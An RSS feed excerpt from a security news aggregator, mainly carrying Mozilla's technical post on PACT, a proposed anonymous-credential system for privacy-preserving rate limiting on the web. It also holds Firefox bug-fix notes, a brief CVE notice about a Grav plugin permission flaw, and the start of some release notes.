<li>Alexandra Borovova updated <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2015655">the “emulation.setLocaleOverride” command to also apply a locale emulation in dedicated and shared workers</a>.</li>
<li>Alexandra Borovova fixed <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042385">a regression when there would be no “script.realmCreated” events after the cross-origin navigation</a>.</li>
</ul>
<h4>Search and Urlbar</h4>
<ul>
<li>Dharma updated context search actions to trigger search instead of entering search mode @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1945080">1945080</a></li>
<li>Daisuke and Drew worked on a lot of Nova updates, including ensuring Nova is tested @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041255">2041255</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030183">2030183</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019168">2019168</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2044849">2044849</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033583">2033583</a></li>
<li>Moritz has worked on several refactorings to allow the urlbar to be used in content @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039828">2039828</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039298">2039298</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041280">2041280</a></li>
<li>Middle click paste replaces content was fixed by Moritz @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042893">2042893</a></li>
<li>Michel added feature to show registrable domain on desktop after its implementation on mobile @ <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1986161">1986161</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hacks.Mozilla.Org: PACT: Anonymous Credentials for the Web]]></title>
<description><![CDATA[This is the technical companion to our update on Distilled, “Keeping the web open and private in the bot era.” Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to solve. 
Bots (and privacy-preserving browsers) not welcome 
Browse a news site...]]></description>
<link>https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693291/tools/hacksmozillaorg-pact-anonymous-credentials-for-the-web/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:27 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="c43"><em><span class="c11 c1">This is the technical companion to our update on Distilled, </span><span class="c11 c1 c17"><a class="c5" href="https://blog.mozilla.org/en/privacy-security/keeping-the-web-open-and-private-in-the-bot-era/">“Keeping the web open and private in the bot era.”</a></span><span class="c11 c1"> Here we take a deeper look at the problem space, the design we’re proposing, and the problems still left to </span><span class="c1 c11">solve</span></em><span class="c13 c11 c1"><em>.</em> </span></p>
<h3 class="c24"><span class="c2 c1">Bots (and privacy-preserving browsers) not welcome </span></h3>
<p class="c40"><span class="c0">Browse a news site in a private window. Shop at a major retailer with a VPN. Visit a video streaming platform with anti-fingerprinting defenses tuned up. You’ll see the same responses: registration walls, block pages, and endless CAPTCHAs. The message is clear: </span><span class="c13 c11 c1">if we think you might be a bot, you’re not welcome</span><span class="c0">. </span></p>
<p class="c53"><span class="c0">Websites have valid reasons for wanting to block bots. Bots enable volumetric abuse</span><span class="c1">, abuse that wouldn’t otherwise be feasible if they had to be carried out by humans</span><span class="c0">. </span><span class="c0"> For example</span><span class="c1">: SEO comment spam, credential stuffing and DDoSing</span><span class="c0">.</span><span class="c0"> Consequently many sites employ dedicated anti-abuse tooling which aims to keep the bots out whilst minimizing friction for human visitors. </span></p>
<p class="c21"><span class="c0">Unfortunately, that tooling is increasingly failing at both tasks. Browser privacy protections are </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/fingerprinting-protections/">dismantling</a></span><span class="c0"> the passive signals that anti-abuse systems depended on to identify and distinguish </span><span class="c0">visitors</span><span class="c0">. Meanwhile advances in generative AI have rendered CAPTCHAs ineffective: bots now solve them </span><span class="c3 c1"><a class="c5" href="https://www.usenix.org/system/files/usenixsecurity23-searles.pdf">faster and more reliably</a></span><span class="c0"> than </span><span class="c0">humans</span><span class="c0">. </span></p>
<p class="c33"><span class="c0">Many sites are switching to more invasive mechanisms and now ask visitors to disclose </span><span class="c1">identifying information</span><span class="c0">,</span><span class="c0"> e.g. an email address, a federated login or </span><span class="c1">disabling their VPN</span><span class="c0">. This means greater friction for users, since providing these details on a first visit takes time. It also compromises their privacy, since these details enable the same kinds of cross-site tracking that browser privacy protections were intended to mitigate. </span></p>
<p class="c38"><span class="c0">This </span><span class="c1">leaves</span><span class="c0"> users </span><span class="c1">with a</span><span class="c0"> dilemma. The more effectively they protect their privacy, the harder it is for websites to distinguish them from bots and the worse the treatment they receive. Website operators are also suffering. The additional friction they inflict upon well-behaved visitors harms their site, but many are willing to pay the costs if it mitigates volumetric abuse. </span></p>
<p class="c44"><span class="c1">Browser-based AI agents make this tension more acute. Sites may want to allow agents which are acting on behalf of individual users while blocking agents engaged in volumetric abuse. However, with no effective mechanisms to distinguish the two, websites are opting to block </span><span class="c17 c1"><a class="c5" href="https://dl.acm.org/doi/epdf/10.1145/3730567.3732913">both</a></span><span class="c0">. That hurts users, who should be free to choose the user agent they use to access the web; it hurts new browsers and agents, which struggle to interoperate; and it hurts sites, which lose legitimate visitors.</span></p>
<p class="c30"><span class="c0">The consequence is that the web gets worse for everyone. Users get more friction or less privacy or both. Website operators see more volumetric abuse and the friction they add drives away users </span><span class="c1">who</span><span class="c0"> would otherwise want to consume their content or services. New user</span><span class="c1"> </span><span class="c0">agents struggle to access the same content as conventional browsers. </span></p>
<h3 class="c12"><span class="c20 c1">The</span><span class="c20 c1"> Costs of </span><span class="c2 c1">Convenient</span><span class="c2 c1"> Solutions</span></h3>
<p class="c9"><span class="c0">Some large ecosystem players have put forward solutions that leverage their control of the dominant operating systems and their deep integration with consumer hardware. These rely on device attestation: identifiers and privileged code baked into devices at the hardware level, which let manufacturers prove what software is running on a user’s device. Exposing this functionality to the web means attesting to sites that the user is running approved software with trusted hardware and therefore isn’t a bot. There have been two substantive proposals.</span></p>
<p class="c9"><span class="c0">Google’s Web Environment Integrity, <a href="https://www.theregister.com/software/2023/11/02/google-abandons-web-environment-integrity-api-proposal/335969">abandoned in 2023</a>, was the blunt version. It attested to the user agent itself, as well as the operating system and device in use. Users would have lost control in two ways: once to the attester, which would decide which operating systems and devices could be blessed, and again to the website, which would decide which software to accept. If sites had adopted allow-lists of approved user agents, building a new browser would have become virtually impossible, and sites could have withdrawn access from any user agent they chose.</span></p>
<p class="c9"><span class="c0">Apple’s Private Access Tokens, <a href="https://developer.apple.com/news/?id=huqjyh7k">deployed</a> across their ecosystem in 2022, have more subtle issues. Built on the Privacy Pass protocol standardized at the IETF, they get a lot right: a user receives a renewed, limited batch of one-time tokens that can be presented to websites without linking their visits together. This provides privacy for users and has shown rate limits to be an effective tool for sites – both points we’ll return to later in this post.</span></p>
<p class="c9"><span class="c1">However, Private Access Tokens rely on device attestation, requiring that the hardware manufacturer be in overall control of the user’s device. Presenting a PAT tells a website you are locked into Apple’s rules for what counts as acceptable software. </span><span class="c1">Due to PAT’s technical design</span><sup class="c1"><a href="https://hacks.mozilla.org/?p=48374#:~:text=PAT%20requires">[1]</a></sup><span class="c1">, there’s no way to open the system to other sources of scarcity without compromising the system’s privacy properties, meaning that if more widely deployed, access to the web would</span><span class="c1"> become tied to having bought expensive hardware from a small, hard to change set of vendors</span><span class="c1">. </span></p>
<p class="c9"><span class="c1">Both approaches are ultimately hostile to users and to the openness of the web. Both are premised on parts of a user’s device that sit within the manufacturer’s control and beyond the user’s own. Were they widely deployed, the web would become just another walled garden with centralized gatekeepers controlling acceptable hardware, operating systems and software. As convenient as these solutions are for the players who already dominate the ecosystem, we think there’s a better path.</span></p>
<h3 class="c24"><span class="c2 c1">A Better Path Forward </span></h3>
<p class="c24"><span class="c1">Bots’ harms arise from their ability to operate beyond human scale. For sites to prevent volumetric abuse they</span><span class="c0"> don’t actually need to know </span><span class="c1">the user’s</span><span class="c0"> identity or </span><span class="c1">receive cryptographic</span><span class="c0"> proof that they’re running approved softwar</span><span class="c1">e. If sites knew their visitors were restricted to a rate </span><span class="c1">limit</span><span class="c1"> set by a site, that would be enough.  </span></p>
<p class="c34"><span class="c1">Rate limits</span><span class="c0"> only make sense if </span><span class="c1">they’re</span><span class="c0"> </span><span class="c1">tied to</span><span class="c0"> something scarce; something an attacker can’t cheaply replicate to evade the limit. </span><span class="c0">Without anchoring to a scarce resource, like the trusted hardware used in Private Access Tokens, attackers can generate as many fresh identities as they need to bypass the rate limit. </span></p>
<p class="c56"><span class="c1">However, </span><span class="c0">hardware is just one option for </span><span class="c1">scarcity</span><span class="c0">. Anything a user already has that an attacker can’t trivially spin up at scale will work</span><span class="c1">: e</span><span class="c0">mail addresses and phone numbers are naturally scarce</span><span class="c1">. A paid subscription costs an attacker the same as a real user.  </span><span class="c0">Even maintaining an account on a free service requires </span><span class="c1">some</span><span class="c0"> non-trivial work. </span></p>
<p class="c39"><span class="c0">What if we could use these scarce signals across the web? We</span><span class="c1"> could build </span><span class="c0">an open ecosystem with many parties offering scarcity signals, each site choosing which to accept. By </span><span class="c0">opening up who can provide a signal, and letting sites choose which to accept, we can avoid transferring control to device manufacturers and the resulting harms. </span></p>
<p class="c39"><span class="c1">As a concrete example of who might be well positioned to provide such a signal, we can consider VPN providers acting as a subscription service. Sites routinely block VPN users indiscriminately, whether through a deliberate policy choice or through an indirect consequence of rate limiting visitors per IP address. But a VPN subscription is a perfect source of scarcity. If the VPN provider could vouch for its users so that sites could rate limit each user individually – then users would be able to browse the web with less friction and without giving up their VPN usage. </span></p>
<p class="c35"><span class="c0">The catch is that building </span><span class="c1">a system that can enable this</span><span class="c0"> on the open web whilst </span><span class="c1">maintaining user’s privacy</span><span class="c0"> is genuinely difficult. </span><span class="c1">It requires that we take information from one site — that this user holds some scarce thing — and expose it to other sites so that they can use that as the basis for their rate limiting. </span><span class="c0">Letting one site verify a signal from another is </span><span class="c1">the sort of </span><span class="c0">information flow</span><span class="c1"> </span><span class="c0">that privacy-pr</span><span class="c1">eserving </span><span class="c0">browsers have spent the last decade locking down to </span><span class="c1">prevent cross-site tracking</span><span class="c0">. </span></p>
<p class="c35"><span class="c1">Our goal would be that no more than the minimum information gets through: a single bit communicating whether the user is below the rate limit set by the site. Leaking anything more – like the source of the scarcity that the rate limit is anchored to – would be unacceptable. Enabling a new cross-site information flow might feel like compromising privacy to gain better access, but reality is more nuanced. If a new system moves sites away from demanding that visitors be identifiable (whether through fingerprinting or login forms), </span><span class="c1">it can be a win for both privacy and access.</span></p>
<h3 class="c24"><span class="c2 c1">The Foundations </span></h3>
<p class="c50"><span class="c0">The good news is that the cryptographic foundations for a privacy preserving approach already exist. The </span><span class="c1 c3"><a class="c5" href="https://privacypass.github.io/">Privacy Pass protocol</a></span><span class="c3 c1"><a class="c5" href="https://www.google.com/url?q=https://privacypass.github.io/&amp;sa=D&amp;source=editors&amp;ust=1782228494401139&amp;usg=AOvVaw3uoXdqARBZKjQF5H8uwYKY">,</a></span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.petsymposium.org/2018/files/papers/issue3/popets-2018-0026.pdf">originally developed in 2018</a></span><span class="c0"> to reduce the friction of Cloudflare CAPTCHAs for Tor users, introduced the core primitive: a token that is </span><span class="c13 c11 c1">unlinkable </span><span class="c0">between issuance and redemption. You prove something to an issuer (e.g. by </span><span class="c1">solving a CAPTCHA</span><span class="c0">), receive some tokens, and later present a token to a website. The website can verify the token is legitimate, but can’t link it to the user it was issued to. </span></p>
<p><img alt="A diagram showing the protocol flow for Privacy Pass." class="aligncenter size-full wp-image-48375" height="1639" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-1.excalidraw1-scaled.png" width="2560"></p>
<p class="c27"><img alt="" title=""><span class="c20 c1 c57"><strong>Figure 1</strong>: </span><span class="c0"><em>In Privacy Pass, a CAPTCHA provider can issue tokens to a client which can then be used to bypass challenges for future site visits. Even if the CAPTCHA provider and sites collude, they can’t use the tokens to identify the user or their browsing history.</em> </span></p>
<p class="c52"><span class="c0">Privacy Pass has gone on to be successfully deployed in systems where the issuer and verifier have a prior trust relationship: </span><span class="c0">Apple</span><span class="c0"> uses it to authenticate users of </span><span class="c3 c1"><a class="c5" href="https://hacks.mozilla.org/feed/">Private Cloud Compute</a></span><span class="c0"> </span><span class="c1">and</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF">Private Rel</a></span><span class="c17 c1"><a class="c5" href="https://www.google.com/url?q=https://www.apple.com/privacy/docs/iCloud_Private_Relay_Overview_Dec2021.PDF&amp;sa=D&amp;source=editors&amp;ust=1782228494402463&amp;usg=AOvVaw0KGoiSPg-8NLvNvIiSSbPt">ay</a></span><span class="c1"> </span><span class="c0">without linking their activity to their identity, </span><span class="c0">Chrome</span><span class="c0"> uses it for </span><span class="c3 c1"><a class="c5" href="https://github.com/GoogleChrome/ip-protection">two-hop IP protection</a></span><span class="c0">, and </span><span class="c0">Kagi</span><span class="c0"> uses it to provide </span><span class="c17 c1"><a class="c5" href="https://help.kagi.com/kagi/privacy/privacy-pass.html">private search</a></span><span class="c0">. </span><span class="c0">These deployments work in part because a small number of parties have agreed in advance on who issues tokens and who accepts them. </span></p>
<p class="c18"><span class="c0">Applying this approach to an open system where any site can act as</span><span class="c0"> an issuer</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://docs.google.com/document/d/1k3QJG2D_Sq4zJiJRn9DfY80hEHuz9UWrJdTt8LbRsMM/edit?tab=t.0#heading=h.r8jxzjcoeumo">brings real challenges</a></span><span class="c0">.</span><span class="c0"> Firstly, even though tokens are unlinkable, knowing a user has access to a specific issuer is a privacy leak on its own, because you can infer that the user meets the relevant issuance criteria. </span><span class="c1">If one site can learn that you have a token from another site, that reveals that you have been to that site, which can be a major privacy problem. </span><span class="c0">This compounds if </span><span class="c1">sites </span><span class="c0">can learn the set of issuers </span><span class="c1">you have visited</span><span class="c0">, since it becomes a fingerprint which can be used to identify </span><span class="c1">you</span><span class="c0">. </span></p>
<p class="c8"><span class="c3 c1"><a class="c5" href="https://blog.cryptographyengineering.com/2014/11/27/zero-knowledge-proofs-illustrated-primer/">Generic techniques</a></span><span class="c0"> exist for proving a statement in zero knowledge: we can prove that </span><span class="c1">a client</span><span class="c0"> ha</span><span class="c1">s</span><span class="c0"> a token from a set of acceptable issuers without revealing which specific issuer it is. We’ll call this issuer blinding. </span><span class="c0">The generic approach is often slow, but </span><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-orru-zkproof-sigma-protocols-01.html">bespoke approaches</a></span><span class="c0"> tailored to the underlying cryptography can improve this considerably. </span></p>
<p class="c54"><span class="c0">Another challenge is how sites using rate limits decide who to trust to issue tokens. If an issuer misbehaves then the site’s rate limits become ineffective, enabling volumetric abuse. However, if we need to prevent the site from learning which issuers a user has access to, the site is only going to know that one of its trusted issuers was used, not which one. This makes mistakes or misbehaviour by an issuer difficult to detect, and makes it hard for sites to evaluate new issuers. Solving this challenge is essential for openness. Without adequate information, </span><span class="c0">sites are likely to lean towards conservative issuer selection. </span><span class="c1">That could lead to less choice between Anchors, which in turn could lead to a new form of gatekeeper being created.</span><span class="c0"> </span></p>
<p class="c32"><span class="c0">To solve this, sites at least need a way to calculate an aggregate score for each issuer they use. This should roughly correspond to how much of the traffic it considers abusive to have come from users using that particular issuer. Mozilla has long invested in systems like </span><span class="c3 c1"><a class="c5" href="https://blog.mozilla.org/en/firefox/partnership-ohttp-prio/">Prio</a></span><span class="c0"> which use multiparty computation (MPC) to protect user privacy whilst enabling aggregate measurements of system behaviour. </span></p>
<p class="c59"><span class="c0">Privacy Pass also struggles to handle dynamic adjustments to rate limits. Once tokens have been issued, they’re difficult to invalidate without either revoking all active tokens or risking attacks which can compromise the privacy of users. It’s also beneficial if sites can adjust rate limits on a per </span><span class="c1">client</span><span class="c0"> basis, for example by increasing rate limits where they become more confident the </span><span class="c1">client</span><span class="c0"> is benign and withdrawing access </span><span class="c1">when abuse is detected</span><span class="c0">. </span></p>
<p class="c47"><span class="c3 c1"><a class="c5" href="https://www.ietf.org/archive/id/draft-schlesinger-cfrg-act-00.html">Anonymous Credit Tokens</a></span><span class="c0"> </span><span class="c0">offer a useful building block to solve this problem. Conventional Privacy Pass schemes rely on issuing a bucket of tokens but ACT works differently by enabling the use of a credential with state. For example, an ACT credential can hold an internal counter. When the credential is presented, the site can check the counter is over some threshold and mutate it, increasing or decreasing </span><span class="c1">the counter whenever</span><span class="c0"> the site’s perception of the holder has improved or worsened. Critically, the exact value is never leaked to the site, preventing the site from tracking the holder and ensuring successive presentations of the same credential can’t be linked. </span></p>
<h3 class="c24"><span class="c2 c1">Putting it together </span></h3>
<p class="c19"><span class="c1">So how can we combine these techniques to build a system which can enable privacy-preserving rate limiting on the open web? In May 2026, we participated in a </span><a href="https://pactworkshop.com/"><span class="c17 c1">W3C CG Meeting</span></a><span class="c0"> in collaboration with Cloudflare, Chrome and other web stakeholders in which we started sketching out a design we’re calling PACT – Private Access Control Tokens. </span></p>
<p class="c19"><span class="c0">Rate limits need a starting point, a source of scarcity to anchor on. We’ll call an entity that provides such a source an </span><span class="c2 c1">Anchor</span><span class="c0">. To a user who meets the Anchor’s criteria, like having a subscription,</span><span class="c0"> an account in good standing</span><span class="c0">, or a verified phone number, an Anchor issues a batch of </span><span class="c2 c1">Endorsement </span><span class="c0">tokens, following the Privacy Pass model. In practice, Anchors could be any website which has access to this kind of signal. An Endorsement conveys</span><span class="c1"> </span><span class="c0">scarcity to other sites. </span></p>
<p class="c51"><span class="c0">That’s enough for a simple system where access is </span><span class="c1">either granted or denied</span><span class="c0">. But as we discussed earlier, we also want the ability to increase access where a visitor behaves benignly and decrease it where they don’t. </span><span class="c1">The state needed to enforce a rate limit</span><span class="c0"> can’t live in the Endorsement, because Endorsements cross trust boundaries between unrelated sites. We need a second object that can hold that state, scoped to the party that maintains it. </span></p>
<p class="c48"><span class="c0">We’ll call that the party that handles rate limiting for a site a </span><span class="c2 c1">Moderator </span><span class="c0">and the stateful object a </span><span class="c2 c1">Credential</span><span class="c0">. </span><span class="c1">A Credential is specific to a Moderator and, unlike endorsements, we limit each site to nominating a single Moderator. In the common case the site itself plays the Moderator role, so there’s no new entity or trust boundary. </span><span class="c1">A Moderator can also be a third-party service shared across many sites, allowing those sites to cooperatively share a rate limit.</span><span class="c0"> </span></p>
<p class="c48"><span class="c0">In the terminology of the previous section, the Anchor is the issuer of Endorsements, and the Moderator both verifies Endorsements and issues Credentials. A Moderator manages rate-limit policy: it decides which Anchors it trusts, accepts their Endorsements, and issues a Credential in return.</span></p>
<p class="c14"><img alt="" title=""><img alt="A diagram showing an overview of the PACT system" class="aligncenter size-full wp-image-48381" height="1655" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw21-scaled.png" width="2560"></p>
<p class="c14"><strong><span class="c1 c20">Figure 2: </span></strong><span class="c1"><em>(1) Clients acquire Endorsements from Anchors in the course of normal browsing to sites they have relationships with. (2) Clients can exchange Endorsements for a stateful Credential from a Moderator. (3) Credentials can be used to access sites which use that Moderator. Credentials can be updated over time.</em> </span></p>
<p class="c41"><span class="c0">Directly revealing which Anchor backed an Endorsement would leak a lot of information about the user. The issuer blinding techniques from the previous section solve this: when an Endorsement is redeemed, the Moderator only learns that it came from one of </span><span class="c1">the </span><span class="c0">Anchors it trusts, but not which one. </span></p>
<p class="c28"><span class="c0">When a Moderator covers more than one site, we let Credentials be presented across all of them but partition cookies and storage as</span><span class="c1"> we would for any other third party site</span><span class="c0">. The unlinkability of </span><span class="c1">Credential</span><span class="c0"> presentations keeps this from creating a new cross-site identifier. The benefit is that good behaviour on one site improves access on every site the Moderator covers, and bad behaviour cuts it everywhere. Websites can already build the same capability with a shared account system, so this doesn’t create a new way to lock users out, but it </span><span class="c1">does provide a</span><span class="c0"> new way to grant access without requiring users to give up their privacy. </span></p>
<p class="c28"><span class="c0">Enabling Moderators that cover many sites carries a centralisation risk, simila</span><span class="c1">r </span><span class="c0">to the concentration we see today in anti-abuse providers. The mitigation is that the choice of Moderator stays with each site, and the choice of trusted Anchors stays with each Moderator. Th</span><span class="c1">is</span><span class="c0"> </span><span class="c1">can’t</span><span class="c0"> reverse the centralisation pressure the web already faces, but it </span><span class="c1">ensures this system won’t lead to additional lock-in</span><span class="c0">: a new Anchor or a new Moderator can be adopted without coordinating with a dominant vendor. </span></p>
<p class="c46"><span class="c0">The </span><span class="c1">system then has three flows</span><span class="c0">.</span><span class="c0"> First, the user </span><span class="c1">receives</span><span class="c0"> Endorsements from an Anchor in the course of normal interaction</span><span class="c1">, based on the Anchor’s positive view of the user</span><span class="c0">. This is </span><span class="c0">a relatively rare operation for any given user and Anchor. After all, as our source of scarcity, Endorsements should not be too easy to accumulate.</span></p>
<p class="c10"><img alt="" title=""><img alt="A diagram showing the PACT Anchor Flow" class="aligncenter size-full wp-image-48377" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-3.excalidraw1-scaled.png" width="2560"></p>
<p class="c10"><strong><span class="c20 c1">Figure 3</span></strong><span class="c1">: <em>In the course of normal browsing, clients browse to websites they have a relationship with. These sites can act as Anchors by issuing Endorsements to clients.</em></span></p>
<p class="c26"><span class="c0">Second, when the user arrives at a site that works with a Moderator, the browser spends an Endorsement from an Anchor the Moderator trusts and receives a Credential in return. The presentation hides </span><span class="c13 c11 c1">which </span><span class="c0">Anchor was used, and </span><span class="c1">neither the Anchor nor the Moderator can trace the Endorsement back to where it was issued</span><span class="c0">. The Moderator decides what initial balance the Credential starts with. If the user has no Endorsements from suitable Anchors at all, existing mechanisms (CAPTCHAs, account creation, federated login) </span><span class="c1">could be used to</span><span class="c0"> bootstrap a Credential the same way, so the system degrades to today’s experience rather than locking the user out.</span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the protocol flow between Anchors and Moderators" class="aligncenter size-full wp-image-48378" height="1789" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-4.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><span class="c20 c1"><strong>Figure 4</strong></span><span class="c1"><strong>:</strong><em> When the client browses to a site, it can prompt the client for a Credential from the Moderator it uses. If the Client doesn’t have a suitable Credential, but does have a suitable Endorsement, it can exchange it for a Credential with the Moderator. In practice, the Moderator and the Site might be the same server. </em></span><em><span class="c0"> </span></em></p>
<p class="c25"><span class="c0">Third, as the user browses, the browser presents the Credential and the Moderator updates </span><span class="c1">the internal state of the Credential</span><span class="c0">. The </span><span class="c1">Moderator can reward </span><span class="c0">behaviour that looks benign and </span><span class="c1">penalize suspicious activity</span><span class="c0">, </span><span class="c1">but can’t track the use of the Credential or identify it if it’s used on other sites the Moderator covers</span><span class="c0">. </span><span class="c0">Revocation falls out of the same mechanism: a Moderator </span><span class="c1">can refuse to return an updated Credential</span><span class="c0">.</span><span class="c0"> </span></p>
<p class="c7"><img alt="" title=""><img alt="A diagram showing the PACT Moderator Flow" class="aligncenter size-full wp-image-48379" height="1618" src="https://hacks.mozilla.org/wp-content/uploads/2026/06/pact-drawings-5.excalidraw1-scaled.png" width="2560"></p>
<p class="c7"><strong><span class="c20 c1">Figure 5</span></strong><span class="c0"><strong>:</strong> <em>The Client can present the Credential on sites which use the matching Moderator. Sites can check if the Credential is in good standing. The sites can then adjust the access the Credential has in response to behaviour. E.g. increasing it when they gain confidence in the client or reducing it in response to malicious behaviour.</em></span></p>
<p class="c23"><span class="c0">In practice, all of this would happen transparently to the user through a WebAPI that sites acting as Anchors or Moderators would call from JavaScript. In an ideal ecosystem, users would accumulate Endorsements through normal browsing, just by virtue of the sites they already visit, and the rest of the flow would happen in the background as they move around the web, leaving </span><span class="c1">users</span><span class="c0"> with meaningfully less friction. </span></p>
<p class="c16"><span class="c0">AI agents acting on behalf of a user slot into the same flow. An agent can carry its user’s Credentials, in which case the user remains accountable for how the agent </span><span class="c1">behaves.</span><span class="c0"> </span><span class="c1">S</span><span class="c0">ites would not need to grant any more access than they would to the user themselves. Alternatively, the operator of an agent can run its own Anchor and vouch for its agents the way other Anchors vouch for human users. </span><span class="c0">Sites retain control over which Anchors they accept, so they can choose how to treat agent traffic without needing a separate detection mechanism. </span></p>
<p class="c6"><span class="c0">Several mechanisms combine to keep the information about a user that flows out close to a single bit. Cryptographic unlinkability ensures successive Credential presentations cannot be tied to each other or to the original issuance, so a user’s visits cannot be </span><span class="c1">joined</span><span class="c0"> into a history. Each site is bound to a single Moderator, so the set of Moderators a user has Credentials with never becomes a cross-site fingerprint. The Anchor-to-Credential exchange happens in an isolated browsing context, so during ordinary browsing the only thing the site or its Moderator ever observes is a Credential presentation: </span><span class="c1">the site only learns if </span><span class="c0">the user has a valid Credential below the rate limit, or </span><span class="c1">nothing</span><span class="c0">. </span><span class="c1">W</span><span class="c0">hen the Moderator updates a </span><span class="c1">Credential</span><span class="c0">, it</span><span class="c0"> adjusts the credentials state without learning what it is.</span></p>
<p class="c6"><span class="c1">The additional privacy given to users from </span><span class="c0">Issuer blinding</span><span class="c1"> makes participating in the system more challenging for Moderators</span><span class="c0">. Because the Moderator can’t see which Anchor backed a Credential at issuance, it can’t give a Credential from a strong Anchor </span><span class="c1">more access</span><span class="c0"> than one from a weak Anchor: doing so would itself leak which Anchor was used. The initial </span><span class="c1">access</span><span class="c0"> has to be uniform across the Moderator’s whole pool of Anchors, which in practice means setting it at the strength of the weakest. </span><span class="c1">However, this is only relevant for that initial access, the Moderator can update credentials according to the holder’s behavior, enabling Credential’s to accrue access over time.</span></p>
<p class="c42"><span class="c0">Building an open ecosystem also requires that sites can make effective decisions about the Anchors they choose to trust</span><span class="c1">. M</span><span class="c0">ultiparty computation systems like </span><span class="c0">Prio</span><span class="c0"> enable aggregate scoring without compromising pr</span><span class="c1">ivacy</span><span class="c0">. When users present Credentials, they can provide an encrypted share which identifies the anchor they use</span><span class="c1">d and can be privately aggregated to compute the quality of an issuer.</span></p>
<h3 class="c24"><span class="c2 c1">Next Steps </span></h3>
<p class="c49"><span class="c1">We think the</span><span class="c0"> architecture we</span><span class="c1">’ve </span><span class="c0">sketched </span><span class="c1">for PACT </span><span class="c0">has the right shape, but many of the details still need to be worked out</span><span class="c1"> and the entire system needs rigorous privacy and security analysis.</span></p>
<p class="c45"><span class="c0">We want to do that work in the open. The IETF is the natural venue for the cryptographic protocols underneath, and the W3C for the WebAPI surface that sits on top. </span><span class="c0">We’ll be </span><span class="c1">bringing</span><span class="c0"> </span><span class="c3 c1"><a class="c5" href="https://github.com/Moderation-of-unLinkable-Endorsements">draft specifications</a></span><span class="c1"> to these bodies as soon as they’re ready</span><span class="c0">, and we welcome collaborators from across the ecosystem: browser vendors, site operators, anti-abuse providers, and the cryptography community. </span></p>
<p class="c29"><span class="c0">If successful, we think we can provide a system which will keep the web open and </span><span class="c1">private</span><span class="c0">, while still giving sites the rate-limiting signal they need. </span></p>
<h3 class="c29"><span class="c2 c1">Acknowledgements</span></h3>
<p class="c4"><em><span class="c11 c1">The ideas described here are the result of collaboration and conversations with many people, including: Watson Ladd, Thibault Meunier, Michele Orrù, Trevor Perrin, Eric Rescorla, Samuel Schlesinger, Martin Thomson, Eric Trouton, Benjamin Vandersloot &amp; Cathie Yun.</span></em><span class="c11 c1"><em> </em> </span></p>
<hr class="c58">
<div>
<p class="c31"><a href="https://hacks.mozilla.org/?p=48374#:~:text=%5B1%5D">[1]</a><span class="c0"> PAT requires that the source of scarcity and an independent issuer be trusted not to collude. If they do, they can track users as they interact with the system. This is not suitable in the context of an open system where any party could play those two roles.</span></p>
</div>
<p>The post <a href="https://hacks.mozilla.org/2026/06/pact-anonymous-credentials-for-the-web/">PACT: Anonymous Credentials for the Web</a> appeared first on <a href="https://hacks.mozilla.org/">Mozilla Hacks - the Web developer blog</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-65897 | Getgrav Grav Plugin up to 1.0.9 Invitations Controller create groups permission (EUVD-2026-48247)]]></title>
<description><![CDATA[A vulnerability marked as problematic has been reported in Getgrav Grav Plugin up to 1.0.9. The affected element is the function InvitationsController::create of the component Invitations Controller. Performing a manipulation of the argument groups results in permission issues.

This vulnerabilit...]]></description>
<link>https://tsecurity.de/de/3692762/sicherheitsluecken/cve-2026-65897-getgrav-grav-plugin-up-to-109-invitations-controller-create-groups-permission-euvd-2026-48247/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3692762/sicherheitsluecken/cve-2026-65897-getgrav-grav-plugin-up-to-109-invitations-controller-create-groups-permission-euvd-2026-48247/</guid>
<pubDate>Sat, 25 Jul 2026 01:53:11 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">problematic</a> has been reported in <a href="https://vuldb.com/product/getgrav:grav_plugin">Getgrav Grav Plugin up to 1.0.9</a>. The affected element is the function <code>InvitationsController::create</code> of the component <em>Invitations Controller</em>. Performing a manipulation of the argument <em>groups</em> results in permission issues.

This vulnerability is known as <a href="https://vuldb.com/cve/CVE-2026-65897">CVE-2026-65897</a>. Remote exploitation of the attack is possible. No exploit is available.

It is suggested to upgrade the affected component.]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.18.5]]></title>
<description><![CDATA[Core
Bugfixes

Improve Claude adaptive thinking handling across more response shapes.
Avoid OpenAI Responses phase handling that could break some conversations.
